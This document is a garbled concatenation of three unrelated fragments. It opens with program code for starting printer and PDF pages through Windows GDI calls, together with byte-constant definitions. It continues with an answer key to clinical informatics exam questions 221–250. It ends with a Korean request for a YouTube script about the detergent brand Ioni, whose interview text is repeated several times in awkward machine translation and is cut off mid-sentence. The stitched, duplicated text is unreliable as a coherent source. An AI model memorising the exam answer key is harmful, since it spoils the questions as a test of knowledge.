sheet given a box:\nIf the pdf state\'s document flag is set, begin the sheet given the box (pdf style); exit.\nCall "kernel32.dll" "GlobalLock" with the printer device mode handle returning a pdevmode.\nIf the pdevmode is nil, exit.\nBitwise or the pdevmode\'s dmfields with 1 [dm\\_orientation].\nPut 1 [dmorient\\_portrait] into the pdevmode\'s dmorientation.\nIf the box\'s width is greater than the box\'s height, put 2 [dmorient\\_landscape] into the pdevmode\'s dmorientation.\nCall "gdi32.dll" "ResetDCA" with the printer canvas and the pdevmode.\nCall "kernel32.dll" "GlobalUnlock" with the printer device mode handle.\nCall "gdi32.dll" "SetGraphicsMode" with the printer canvas and 2 [gm\\_advanced].\nCall "gdi32.dll" "SetBkMode" with the printer canvas and 1 [transparent].\nCall "gdi32.dll" "SetMapMode" with the printer canvas and 8 [mm\\_anisotropic].\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 112 [physicaloffsetx] returning a pair\'s x.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 113 [physicaloffsety] returning the pair\'s y.\nNegate the pair.\nCall "gdi32.dll" "SetViewportOrgEx" with the printer canvas and the pair\'s x and the pair\'s y and nil.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 88 [logpixelsx] returning the pair\'s x.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 90 [logpixelsy] returning the pair\'s y.\nCall "gdi32.dll" "SetViewportExtEx" with the printer canvas and the pair\'s x and the pair\'s y and nil.\nCall "gdi32.dll" "SetWindowOrgEx" with the printer canvas and 0 and 0 and nil.\nCall "gdi32.dll" "SetWindowExtEx" with the printer canvas and the tpi and the tpi and nil.\nCall "gdi32.dll" "StartPage" with the printer canvas.\nPut the printer canvas into the current canvas.\nCall "gdi32.dll" "GetDeviceCaps" with the printer canvas and 88 [logpixelsx] returning a number.\nPut the tpp into the saved tpp.\nPut the tpi divided by the number into the tpp.\n\nTo begin a sheet given a box (pdf style):\nBegin the sheet given the box and "" (pdf style).\n\nTo begin a sheet given a box and a title string:\nBegin the sheet given the box and the title (pdf style).\n\nTo begin a sheet given a box and a title string (pdf style - start the current page):\nAdd the pdf state\'s current page given "page".\nAppend the pdf state\'s current page\'s number then " 0 obj" to the pdf state\'s current page.\nAppend "<<" to the pdf state\'s current page. \nAppend "/Type /Page" to the pdf state\'s current page.\nAppend "/Parent " then the pdf state\'s parent\'s number then " 0 R" to the pdf state\'s current page.\nPut the box\'s width minus the tpp times 72 / the tpi into a width.\nPut the box\'s height minus the tpp times 72 / the tpi into a height.\nAppend "/MediaBox [0 0 " then the width then " " then the height then "]" to the pdf state\'s current page.\nPut the box\'s height minus the tpp into the pdf state\'s current height.\nAdd the pdf state\'s current contents given "contents".\nAppend "/Contents " then the pdf state\'s current contents\' number then " 0 R" to the pdf state\'s current page.\nAppend "0.05 0 0 0.05 1 1 cm" to the pdf state\'s current contents. \\ set matrix to scale 72/1440\nAppend "13 w 0 J 0 j 0 i" to the pdf state\'s current contents. \\ penwidth, linecap, linejoin, flatness \\ 15 w on penwidth comes out to wide\n\nTo begin a sheet given a box and a title string (pdf style):\nSet the pdf state\'s page flag.\nPut the clear color into the pdf state\'s current border.\nPut the clear color into the pdf state\'s current fill.\nBegin the sheet given the box and the title (pdf style - start the current page).\nIf the title is blank, exit.\nCreate a pdf outline entry given the title and the pdf state\'s current height and the pdf state\'s current page\'s number.\nAppend the pdf outline entry to the pdf state\'s outline entries.\n\nTo begin a sheet given a title string:\nBegin a portrait sheet given the title.\n\nThe bell byte is a byte equal to 7.\n\nThe Bible is a thing with some verses.\n\\A verse is a thing with a book abbreviation, a chapter number, a verse number and a string.\nA verse is a thing with a string.\n\nThe big-a byte is a byte equal to 65.\n\nThe big-a-acute byte is a byte equal to 193.\n\nThe big-a-circumflex byte is a byte equal to 194.\n\nThe big-a-diaeresis byte is a byte equal to 196.\n\nThe big-a-grave byte is a byte equal to 192.\n\nThe big-a-ring byte is a byte equal to 197.\n\nThe big-a-tilde byte is a byte equal to 195.\n\nThe big-ae byte is a byte equal to 198.\n\nThe big-b byte is a byte equal to 66.\n\nThe big-c byte is a byte equal to 67.\n\nThe big-c-cedilla byte is a byte equal to 199.\n\nThe big-d byte is a byte equal to 68.\n\nThe big-e byte is a byte equal to 69.\n\nThe big-e-acute byte is a byte equal to 201.\n\nThe big-e-circumflex byte is a byte equal to 202.\n\nThe big-e-diaeresis byte is a byte equal to 203.\n\nThe big-e-grave byte is a byte equal to 200.\n\nA big-endian unsigned wyrd is a record with 2 bytes.\n\nThe big-eth byte is a byte equal to 208.\n\nThe big-f byte is a byte equal to 70.\n\nThe big-g byte is a byte equal to 71.\n\nThe big-h byte is a byte equal to 72.\n\nThe big-i byte is a byte equal to 73.\n\nThe big-i-acute byte is a byte equal to 205.\n\nThe big-i-circumflex byte is a byte equal to 206.\n\nThe big-i-diaeresis byte is a byte equal to 207.\n\nThe big-i-grave byte is a byte equal to 204.\n\nThe big-j byte is a byte equal to 74.\n\nThe big-k byte is a byte equal to 75.\n\nThe big-l byte is a byte equal to 76.\n\nThe big-m byte is a byte equal to 77.\n\nThe big-n byte is a byte equal to 78.\n\nThe big-n-tilde byte is a byte equal to 209.\n\nThe big-o byte is a byte equal to 79.\n\nThe big-o-acute byte is a byte equal to 211.\n\nThe big-o-circumflex byte is a byte equal to 212.\n\nThe big-o-diaeresis byte is a byte equal to 214.\n\nThe big-o-grave byte is a byte equal to 210.\n\nThe big-o-stroke byte is a byte equal to 216.\n\nThe big-o-tilde byte is a byte equal to 213.\n\nThe big-oe byte is a byte equal to 140.\n\nThe big-p byte is a byte equal to 80.\n\nThe big-q byte is a byte equal to 81.\n\nThe big-r byte is a byte equal to 82.\n\nThe big-s byte is a byte equal to 83.\n\nThe big-s-caron byte is a byte equal to 138.\n\nThe big-t byte is a byte equal to 84.\n\nThe big-thorn byte is a byte equal to 222.\n\nThe big-u byte is a byte equal to 85.\n\nThe big-u-acute byte is a byte equal to 218.\n\nThe big-u-circumflex byte is a byte equal to 219.\n\nThe big-u-diaeresis byte is a byte equal to 220.\n\nThe big-u-grave byte is a byte equal to 217.\n\nThe big-v byte is a byte equal to 86.\n\nThe big-w byte is a byte equal to 87.\n\nThe big-x byte is a byte equal to 88.\n\nThe big-y byte is a byte equal to 89.\n\nThe big-y-acute byte is a byte equal to 221.\n\nThe big-y-diaeresis byte is a byte equal to 159.\n\nThe big-z byte is a byte equal to 90.\n\nThe big-z-caron byte is a byte equal to 142.\n\nA billion is 1000 millions.\n\nA binary string is a string.\n\nA bit is a unit.\n```' -'221\nTHE ANSWER IS A. Depreciation is an accounting method of allocating the cost of a tangible asset over its useful life. The direct materials budget is part of the operating budget for purchasing raw materials. An MRI machine is expected to last more than one year, and would therefore be on the capital budget, and not an operating expense. A mortgage is a many-year loan used to buy large items, usually real estate. (REF 4.5.5 Capital and operating budgeting)\n222\nTHE ANSWER IS A. When the results of a study are dichotomous and dramatic, it is often termed an all-or-none study. This particular study could also be called a case series or perhaps even a method paper, but these were not among the options. Ethics violations arise when patients are subjected to substandard care. In this case, there is no available cure or treatment for macular degeneration, so as long as patients consented to treatment, there are no ethical problems. Ecological studies involve studying at least one variable at the population level. (REF: Section 2.2.1 - Evidence Sources)\n223\nTHE ANSWER IS B. DICOM is a set of protocols and file formats used for transfer of medical images. Ethernet Cat-6 is a cabling specification to support gigabit transmission speeds. The W3C helps define standards for the world wide web. (REF 3.4.1 - Standards Development)\n224\nTHE ANSWER IS D. Instituting a significant change for a small part of the population would not be as effective as initiating a modest change for the majority of the population. In this question , choice A reflects making a big change for few people, while choice D would make a modest change for many people. Choice C is actually very similar to choice A in that it would make a big difference to very few people. Choice B offers a modest benefit to a small population. (REF: 1.2.1 - Determinants of health)\n225\nTHE ANSWER IS B. A strategy is the means by which an organization sets out to achieve its goals. A resource is a tangible or intangible aspect of the organization which can be used for this task. A value chain is a set of activities that an organization performs in order to deliver a product or service. Vision is the ideal that the organization pursues. (REF 4.5.3 – Strategy Formulation)\n226\nTHE ANSWER IS D. The SQL UPDATE command is used to modify an existing table. In this case, we want to change the Last\\_Name field of the record with id=3 to ‘Mankowitz’. Choice C will update all records to have Last\\_Name ‘Mankowitz’. Choice B will delete a record from the table. The ALTER TABLE command is used to modify the schema. As written, this command will generate a syntax error. (REF 3.1.5 - Data)\n227\nTHE ANSWER IS A. The peer-review process means that experts in the field of study review manuscripts before they are published. It is a hallmark of respected journals. The other choices are all false. (REF: 1.1.3 - Clinical Informatics Literature)\n228\nTHE ANSWER IS B. Only licensed surgeons may perform complex surgical operations. Physician assistants are allowed to assist in these operations as long as they are supervised by a physician. Nurse practitioners are allowed to perform some invasive procedures without supervision (depending on the state). Any provider of medical care may be sued for malpractice. All providers are required to complete some degree of continuing education. Many non-physician providers possess doctoral degrees. (REF: 1.2.2.4 - Education of health professionals)\n229\nTHE ANSWER IS A. A manager makes a make-or-buy decision when he decides whether goods or services should be made by the organization, or bought from an outside party. This decision is usually based on cost and availability of resources (such as staff expertise). It does not take into account other market forces, such as a competitor’s market share.\xa0 (REF: Section 4.4.2 Project Management – Identifying resources)\n230\nTHE ANSWER IS B. The reduction of waste (non-value-added processes) is the hallmark of the LEAN methodology. Delphi is a method of obtaining group consensus. Plan-Do-Study-Act (PDSA) is the most common method of quality improvement. Six-sigma seeks to improve processes until defects are so rare that they represent six standard deviations from the mean. (REF 2.3.3 Quality Improvement)\n231\nTHE ANSWER IS A. The BlueButton Initiative was one of the first attempts to allow patients to download their medical information. It was developed at the Veterans Affairs\xa0 hospitals for use in their EHR, called VistA. The CCD is a standard developed by HL7 and is a constrain on the RIM. It became popular when it was included in the Meaningful Use criteria. (REF 3.4.1 - Standards Development)\n232\nTHE ANSWER IS C. Hospitals, like other service industries, spend most of their capital on labor costs, so minimizing those costs increases revenues. Product innovation and customer loyalty may be important goals, but are not HRM tasks. Decreasing revenues is not an objective. (REF: 4.2.1 - Human Resources)\n233\nTHE ANSWER IS B. As time goes on, bugs become easier to find, but harder to fix because of the numerous moving parts. Warranties are sometimes, but not always provided with software, and tend to have limited support options. Testing a running system is a form of dynamic testing. Static testing involves reviewing source code. By definition, implementation means a running system, which makes static testing a poor answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n234\nTHE ANSWER IS D. A service which can be provided on a large scale is not valuable, rare, inimitable or specific to the organization. The other choices all contain an aspect which makes the product hard to replicate. (REF 4.5.3 – Strategy Formulation)\n235\nTHE ANSWER IS C. Criteria for de-identification are based on how hard it would be to re-identify a patient based on bits of data. Since dates of birth are often found in public records, it is much more susceptible to re-identification than, say, account numbers which are only found in patient records and hospital information systems. While choices B and D are true, they are not relevant to this question. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n236\nTHE ANSWER IS C. Of the three requests listed, the RFQ is the most basic, and is used when the nature of the product is already known and the purchaser is simply negotiating price. An RFP is a formal document which explains, in detail, an organization’s needs and typically includes a thorough response from a vendor. An RFI is a shorter, less formal document of the same nature. The SDLC is a systematic method of designing and building systems. (REF: Section 3.5.2 - Clinical Information Needs Analysis)\n237\nTHE ANSWER IS B. This question tests a simple definition, but even if you did not know the answer, you should be able eliminate some choices. (REF: Section 4.6.2 - Change Theories)\n238\nTHE ANSWER IS D. Heuristics allow people to solve problems and make judgments quickly and efficiently, but they are also prone to errors. Cognitive bias often results from heuristics and can lead to systematic deviations from a standard of rationality or good judgment.\xa0 Decision support tools are designed to optimize results by providing additional information or alerting a clinician to the need for additional information. Likewise, Bayes Theorem is designed to optimize decision making. It does this by taking into account the pretest probability of a condition, while interpreting the results of testing. (REF Section 2.1.1 - The nature and cognitive aspects of decision making)\n239\nTHE ANSWER IS D. This is a confusing question, but it illustrates some points about nonsemantic concept identifiers. First of all, semantic concept identifiers can help the reader understand a concept’s place in the hierarchy. For example, ICD-10 is a hierarchical terminology. The code W21 corresponds to being hit by a ball. The code W21.01 corresponds to being struck by a football. W21.02 is a soccer ball. W21.03 is a baseball. Suppose we wanted to extend the hierarchy to include all kinds of sports injuries, including being hit by a jai-alai ball or a medicine ball. At some point, we’d either run out of numbers or we’d have to change the coding system. This is why choice B is a good argument. Now suppose we decide that we want to group all football injuries together, such as being tackled, which is Y93.61. Unfortunately, this code is found in a completely different hierarchy and can’t be found within the W21 group, which is why C is a good reason. Similarly, choice A explains the next step in this argument. Suppose we did reclassify all football injuries into the same heading. As long a we respect concept permanence (concepts can not be deleted), we would now have an orphan code of Y93.61. Finally, we are left with choice D. At one point, when computing power was relatively expensive, using integer codes was much more efficient. With modern systems, the difference is less important. Although D is a reasonable choice, it is the weakest argument among those listed. (REF: 3.4.6 Ontologies and Taxonomies)\n240\nTHE ANSWER IS D. Using the formula for the positive predictive value, \nPPV=TP / (TP+FP)\n19/(19+1) = 95%\n(REF: Section 2.1.2 - Decision Science)\n241\nTHE ANSWER IS C. There are many approaches to managing change, but all include the formation of a group of leaders to spearhead the mission. Effective change requires buy-in from all stakeholders. If rank and file employees are unaware of the ultimate goals of the change, they are less likely support the process. Similarly, if employees are not empowered to make decisions, the entire process will slow down whenever it encounters a new variable. Short term wins should be in line with the corporate vision, but should not be used to define the vision. The vision should already be in place before short term wins are achieved. (REF 4.6.3 Change Management Strategies)\n242\nTHE ANSWER IS A. Operational expenses (opex) are usually funded with cash flow. Capital budgets are funded with retained earnings, debt or equity. (REF 4.5.5. Capital and operating budgeting)\n243\nTHE ANSWER IS B. The OSI model contains seven layers. The lowest layer is the physical layer, such as network cabling. The highest level is the application level. In the middle are levels for networking, authentication, session management, presentation and other technologies. (REF 3.1.3 - Networks)\n244\nTHE ANSWER IS D. The project charter is the output from the initiating phase of integration management. Note that it is not necessary to know that we are talking about integration management, because the only other activity in the initiating phase is identification of stakeholders. HR Planning and the creation of the project team is done in the HR knowledge area. Both procurements and creating the team are part of the execution phase. (REF: Section 4.4.1 Project Management Basics)\n245\nTHE ANSWER IS D. A/B testing presents users with two alternatives and measures their acceptance. It can be done on a large scale (such as with web sites) or a smaller scale with individual interviews. (REF: Section 3.2.2 - HCI Evaluation)\n246\nTHE ANSWER IS A. The distinction between conflict management and conflict resolution is that conflict management seeks to preserve the positive aspects of conflict while conflict resolution seeks to remove the conflict entirely. The other choices are all true, but do not reflect the difference between resolution and management. (REF: 4.1.4 Conflict Management)\n247\nTHE ANSWER IS D. Keystroke-Level Model is a type of HCI analysis that focuses on how the keyboard and mouse are utilized. Mental preparation is considered part of the action. Sketching would not be included in this kind of analysis. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n248\nTHE ANSWER IS C. In a double-blind study, neither the investigator nor the subject knows which study arm they are in. The other choices may represent also represent flaws. (REF: Section 2.2.1 - Evidence Sources)\n249\nTHE ANSWER IS D. A method paper (also called an application paper) describes a novel technique or procedure. Choices A and C represent case reports. Choice B is probably original research. (REF: Section 2.2.1 - Evidence Sources)\n250\nTHE ANSWER IS A. CDS has shown benefits in diagnosis, treatment guidelines, clinical pathway adherence. Unfortunately, data on patient outcomes, physician efficiency and errors in data entry are lacking. (REF: 2.1.3 - Application of CDS)' -'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an 